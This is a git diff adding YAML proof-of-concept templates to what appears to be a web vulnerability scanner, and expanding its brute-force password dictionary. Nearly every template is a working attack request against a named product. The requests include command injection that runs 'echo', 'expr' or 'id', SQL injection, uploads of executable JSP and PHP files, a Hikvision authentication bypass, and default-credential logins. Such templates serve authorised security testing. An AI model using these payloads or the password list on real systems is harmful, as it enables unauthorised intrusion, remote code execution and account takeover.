diff --git a/WebScan/pocs/activemq-default-password.yml b/WebScan/pocs/activemq-default-password.yml
new file mode 100644
index 0000000..d9a7ef9
--- /dev/null
+++ b/WebScan/pocs/activemq-default-password.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-activemq-default-password
+rules:
+ - method: GET
+ path: /admin/
+ expression: |
+ response.status == 401 && response.body.bcontains(b"Unauthorized")
+ - method: GET
+ path: /admin/
+ headers:
+ Authorization: Basic YWRtaW46YWRtaW4=
+ expression: |
+ response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"
Broker
")
+detail:
+ author: pa55w0rd(www.pa55w0rd.online/)
+ links:
+ - https://blog.csdn.net/ge00111/article/details/72765210
\ No newline at end of file
diff --git a/WebScan/pocs/alibaba-canal-info-leak.yml b/WebScan/pocs/alibaba-canal-info-leak.yml
new file mode 100644
index 0000000..a51de57
--- /dev/null
+++ b/WebScan/pocs/alibaba-canal-info-leak.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-alibaba-canal-info-leak
+rules:
+ - method: GET
+ path: /api/v1/canal/config/1/1
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
+detail:
+ author: Aquilao(https://github.com/Aquilao)
+ info: alibaba Canal info leak
+ links:
+ - https://my.oschina.net/u/4581879/blog/4753320
\ No newline at end of file
diff --git a/WebScan/pocs/apache-solr-file-read.yml b/WebScan/pocs/apache-solr-file-read.yml
new file mode 100644
index 0000000..d1f6648
--- /dev/null
+++ b/WebScan/pocs/apache-solr-file-read.yml
@@ -0,0 +1,21 @@
+name: poc-yaml-apache-solr-file-read
+rules:
+ - method: GET
+ path: "/solr/admin/cores?indexInfo=false&wt=json"
+ search: |
+ "name":"(?P.+?)",
+ expression:
+ response.status == 200
+ - method: POST
+ path: "/solr/{{core_name}}/config"
+ headers:
+ Content-type: application/json
+ body: |
+ {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
+ expression: |
+ response.status == 200 && response.body.bcontains(b"This")
+detail:
+ author: flyinbed
+ links:
+ - "https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg"
+ - "https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ"
\ No newline at end of file
diff --git a/WebScan/pocs/clusterEngine-rce-cve-2020-21224.yml b/WebScan/pocs/clusterEngine-rce-cve-2020-21224.yml
new file mode 100644
index 0000000..931f72a
--- /dev/null
+++ b/WebScan/pocs/clusterEngine-rce-cve-2020-21224.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-clusterEngine-rce-cve-2020-21224
+rules:
+ - method: POST
+ path: /login
+ headers:
+ User-Agent: >-
+ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
+ like Gecko) Chrome/87.0.4280.88 Safari/537.36
+ body: op=login&username=;`echo 12345678987654321`&password=
+ follow_redirects: false
+ expression: |
+ response.status==200 && response.body.bcontains(b'12345678987654321')
+detail:
+ author: jdr
+ info: CVE-2020-21224(ClusterEngineV4.0 RCE)
\ No newline at end of file
diff --git a/WebScan/pocs/dlink-dcs-info-leak.yml b/WebScan/pocs/dlink-dcs-info-leak.yml
new file mode 100644
index 0000000..746ff9f
--- /dev/null
+++ b/WebScan/pocs/dlink-dcs-info-leak.yml
@@ -0,0 +1,9 @@
+name: poc-yaml-dlink-dcs-info-leak
+rules:
+ - method: GET
+ path: /config/getuser?index=0
+ expression: response.status == 200 && response.body.bcontains(b"name=") && response.body.bcontains(b"pass=") && response.body.bcontains(b"priv=")
+detail:
+ author: jingling(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/cG868wc7dmwxFslcwlgDpw
\ No newline at end of file
diff --git a/WebScan/pocs/ecology-sqli.yml b/WebScan/pocs/ecology-sqli.yml
new file mode 100644
index 0000000..b249b83
--- /dev/null
+++ b/WebScan/pocs/ecology-sqli.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-ecology-sqli
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: GET
+ path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20{{rand}}%20as%20id%20from%20HrmResourceManager
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(rand)))
+detail:
+ author: whami-root(https://github.com/whami-root)
+ links:
+ - https://github.com/whami-root
\ No newline at end of file
diff --git a/WebScan/pocs/eyou-rce.yml b/WebScan/pocs/eyou-rce.yml
new file mode 100644
index 0000000..3e6bfcc
--- /dev/null
+++ b/WebScan/pocs/eyou-rce.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-eyou-rce
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: /webadm/?q=moni_detail.do&action=gragh
+ headers:
+ Content-Type: application/x-www-form-urlencoded
+ body: type='|expr {{r1}} + {{r2}}||'
+ expression: response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+ author: jingling(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
\ No newline at end of file
diff --git a/WebScan/pocs/gitlab-cnvd-2021-14193-infoleak.yml b/WebScan/pocs/gitlab-cnvd-2021-14193-infoleak.yml
new file mode 100644
index 0000000..8fe94ce
--- /dev/null
+++ b/WebScan/pocs/gitlab-cnvd-2021-14193-infoleak.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-gitlab-cnvd-2021-14193-infoleak
+rules:
+ - method: POST
+ path: /api/graphql
+ headers:
+ Content-Type: application/json
+ body: >-
+ {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
+ follow_redirects: false
+ expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("avatarUrl"))
+detail:
+ author: 说书人(http://python.vin/)
+ links:
+ - https://www.cnvd.org.cn/flaw/show/CNVD-2021-14193
+ - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
\ No newline at end of file
diff --git a/WebScan/pocs/hikvision-cve-2017-7921.yml b/WebScan/pocs/hikvision-cve-2017-7921.yml
new file mode 100644
index 0000000..78e8440
--- /dev/null
+++ b/WebScan/pocs/hikvision-cve-2017-7921.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-hikvision-cve-2017-7921
+rules:
+ - method: GET
+ path: /system/deviceInfo?auth=YWRtaW46MTEK
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(b"") && response.headers["content-type"] == "application/xml"
+detail:
+ author: whwlsfb(https://github.com/whwlsfb)
+ links:
+ - https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html
\ No newline at end of file
diff --git a/WebScan/pocs/kingsoft-v8-default-password.yml b/WebScan/pocs/kingsoft-v8-default-password.yml
new file mode 100644
index 0000000..6835390
--- /dev/null
+++ b/WebScan/pocs/kingsoft-v8-default-password.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-kingsoft-v8-default-password
+rules:
+ - method: POST
+ path: /inter/ajax.php?cmd=get_user_login_cmd
+ body: "{\"get_user_login_cmd\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\"}}"
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession")
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://idc.wanyunshuju.com/aqld/2123.html
\ No newline at end of file
diff --git a/WebScan/pocs/netentsec-ngfw-rce.yml b/WebScan/pocs/netentsec-ngfw-rce.yml
new file mode 100644
index 0000000..51336aa
--- /dev/null
+++ b/WebScan/pocs/netentsec-ngfw-rce.yml
@@ -0,0 +1,18 @@
+name: poc-yaml-netentsec-ngfw-rce
+set:
+ r1: randomLowercase(4)
+ r2: randomLowercase(4)
+ r3: randomInt(800000000, 1000000000)
+ r4: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: /directdata/direct/router
+ body: {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
+ expression: response.status == 200
+ - method: GET
+ path: /{{r2}}
+ expression: response.status == 200 && response.body.bcontains(bytes(string(r3 + r4)))
+detail:
+ author: jingling(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
\ No newline at end of file
diff --git a/WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml b/WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml
new file mode 100644
index 0000000..0b6d03a
--- /dev/null
+++ b/WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-qizhi-fortressaircraft-unauthorized
+
+rules:
+ - method: GET
+ path: >-
+ /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
+ expression: |
+ response.status == 200 && response.body.bcontains(b"错误的id")
+detail:
+ author: we1x4n(https://we1x4n.com/)
+ links:
+ - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw
\ No newline at end of file
diff --git a/WebScan/pocs/rockmongo-default-password.yml b/WebScan/pocs/rockmongo-default-password.yml
new file mode 100644
index 0000000..c0b3566
--- /dev/null
+++ b/WebScan/pocs/rockmongo-default-password.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-rockmongo-default-password
+rules:
+ - method: POST
+ path: /index.php?action=login.index&host=0
+ body: more=0&host=0&username=admin&password=admin&db=&lang=zh_cn&expire=3
+ follow_redirects: false
+ expression: |
+ response.status == 302 && response.headers["location"] == "/index.php?action=admin.index&host=0"
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://www.runoob.com/mongodb/working-with-rockmongo.html
\ No newline at end of file
diff --git a/WebScan/pocs/ruijie-rce-cnvd-2021-09650.yml b/WebScan/pocs/ruijie-rce-cnvd-2021-09650.yml
new file mode 100644
index 0000000..579c15e
--- /dev/null
+++ b/WebScan/pocs/ruijie-rce-cnvd-2021-09650.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-ruijie-rce-cnvd-2021-09650
+set:
+ r1: randomLowercase(9)
+rules:
+ - method: POST
+ path: /guest_auth/guestIsUp.php
+ body: mac = 1 & ip = 127.0.0.1 | id > {{r1}}.txt
+ follow_redirects: false
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /guest_auth/{{r1}}.txt
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(b"uid")
+detail:
+ author: jdr
+ info: CNVD-2021-09650(Ruijie-EWEB网管系统 RCE)
+ links:
+ - https://github.com/opsxcq/exploit-CVE-2014-6271/
\ No newline at end of file
diff --git a/WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml b/WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml
new file mode 100644
index 0000000..74a9f70
--- /dev/null
+++ b/WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-ruijie-uac-cnvd-2021-14536
+rules:
+ - method: GET
+ path: /login.php
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(b"get_dkey_passwd") && response.body.bcontains(b"password")
+detail:
+ author: jweny(https://github.com/jweny)
+ links:
+ - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065
\ No newline at end of file
diff --git a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml
new file mode 100644
index 0000000..fde5f2a
--- /dev/null
+++ b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-seeyon-a6-test-jsp-sql
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: GET
+ path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}}))
+ expression:
+ response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: sakura404x
+ version: 致远A6
+ links:
+ - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md
\ No newline at end of file
diff --git a/WebScan/pocs/seeyon-session-leak.yml b/WebScan/pocs/seeyon-session-leak.yml
new file mode 100644
index 0000000..4722203
--- /dev/null
+++ b/WebScan/pocs/seeyon-session-leak.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-seeyon-session-leak
+rules:
+ - method: GET
+ path: /yyoa/ext/https/getSessionList.jsp?cmd=getAll
+ expression:
+ response.status == 200 && response.body.bcontains(b"\r\n\r\n")
+detail:
+ author: sakura404x
+ links:
+ - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md
\ No newline at end of file
diff --git a/WebScan/pocs/seeyon-setextno-jsp-sql.yml b/WebScan/pocs/seeyon-setextno-jsp-sql.yml
new file mode 100644
index 0000000..84b6acb
--- /dev/null
+++ b/WebScan/pocs/seeyon-setextno-jsp-sql.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-seeyon-setextno-jsp-sql
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: GET
+ path: /yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(17)%20union%20all%20select%201,2,@@version,md5({{rand}})%23
+ expression:
+ response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: sakura404x
+ version: 致远A6
+ links:
+ - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3348.md
\ No newline at end of file
diff --git a/WebScan/pocs/seeyon-unauthoried.yml b/WebScan/pocs/seeyon-unauthoried.yml
new file mode 100644
index 0000000..a0777ec
--- /dev/null
+++ b/WebScan/pocs/seeyon-unauthoried.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-seeyon-unauthoried
+rules:
+ - method: POST
+ path: "/seeyon/thirdpartyController.do"
+ expression: "true"
+ body: |
+ method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4
+ search: >-
+ JSESSIONID=(?P.+?)
+ - method: GET
+ path: "/seeyon/main.do"
+ headers:
+ Cookie: JSESSIONID={{session}}
+ expression: |
+ response.status == 200 && response.body.bcontains(b"当前已登录了一个用户,同一窗口中不能登录多个用户")
+detail:
+ author: whami-root(https://github.com/whami-root)
+ links:
+ - https://github.com/whami-root
\ No newline at end of file
diff --git a/WebScan/pocs/tianqing-info-leak.yml b/WebScan/pocs/tianqing-info-leak.yml
new file mode 100644
index 0000000..6bf6789
--- /dev/null
+++ b/WebScan/pocs/tianqing-info-leak.yml
@@ -0,0 +1,9 @@
+name: poc-yaml-tianqing-info-leak
+rules:
+ - method: GET
+ path: /api/dbstat/gettablessize
+ expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"schema_name") && response.body.bcontains(b"table_name")
+detail:
+ author: jingling(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
\ No newline at end of file
diff --git a/WebScan/pocs/vengd-upload-rce.yml b/WebScan/pocs/vengd-upload-rce.yml
new file mode 100644
index 0000000..deaec2f
--- /dev/null
+++ b/WebScan/pocs/vengd-upload-rce.yml
@@ -0,0 +1,25 @@
+name: poc-yaml-vengd-upload-rce
+set:
+ r1: randomLowercase(4)
+ r2: randomLowercase(4)
+ r3: randomInt(40000, 44800)
+ r4: randomInt(40000, 44800)
+rules:
+ - method: POST
+ path: /Upload/upload_file.php?l={{r1}}
+ headers:
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
+ body: |-
+ ------WebKitFormBoundaryfcKRltGv
+ Content-Disposition: form-data; name="file"; filename="{{r2}}.php"
+ Content-Type: image/avif
+
+ ------WebKitFormBoundaryfcKRltGv--
+ expression: response.status == 200 && response.body.bcontains(b"_Request:")
+ - method: GET
+ path: '/Upload/{{r1}}/{{r2}}.php'
+ expression: response.status == 200 && response.body.bcontains(bytes(string(r3 * r4)))
+detail:
+ author: jingling(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
\ No newline at end of file
diff --git a/WebScan/pocs/weaver-oa-arbitrary-file-upload.yml b/WebScan/pocs/weaver-oa-arbitrary-file-upload.yml
new file mode 100644
index 0000000..f37b591
--- /dev/null
+++ b/WebScan/pocs/weaver-oa-arbitrary-file-upload.yml
@@ -0,0 +1,24 @@
+name: poc-yaml-weaver-oa-arbitrary-file-upload
+set:
+ r1: randomLowercase(4)
+ r2: randomInt(40000, 44800)
+ r3: randomInt(40000, 44800)
+rules:
+ - method: POST
+ path: /page/exportImport/uploadOperation.jsp
+ headers:
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo
+ body: |-
+ ------WebKitFormBoundaryFy3iNVBftjP6IOwo
+ Content-Disposition: form-data; name="file"; filename="{{r1}}.jsp"
+ Content-Type: application/octet-stream
+ <%out.print({{r2}} * {{r3}});%>
+ ------WebKitFormBoundaryFy3iNVBftjP6IOwo--
+ expression: response.status == 200
+ - method: GET
+ path: '/page/exportImport/fileTransfer/{{r1}}.jsp'
+ expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))
+detail:
+ author: jingling(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
\ No newline at end of file
diff --git a/WebScan/pocs/yongyou-erp-nc-directory-traversal.yml b/WebScan/pocs/yongyou-erp-nc-directory-traversal.yml
new file mode 100644
index 0000000..211c1ee
--- /dev/null
+++ b/WebScan/pocs/yongyou-erp-nc-directory-traversal.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-yongyou-erp-nc-directory-traversal
+rules:
+ - method: GET
+ path: /NCFindWeb?service=IPreAlertConfigService&filename=
+ expression: |
+ response.status == 200 && response.body.bcontains(b"WEB-INF") && response.body.bcontains(b"Tree.js")
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/master/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BERP-NC%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md
\ No newline at end of file
diff --git a/common/config.go b/common/config.go
index b28caf5..15bfc31 100644
--- a/common/config.go
+++ b/common/config.go
@@ -10,7 +10,7 @@ var Userdict = map[string][]string{
"mongodb": {"root", "admin"},
}
-var Passwords = []string{"123456", "admin", "admin123", "root", "", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"}
+var Passwords = []string{"123456", "admin", "admin123", "root", "", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "123456~a", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "huawei"}
var PORTList = map[string]int{
"ftp": 21,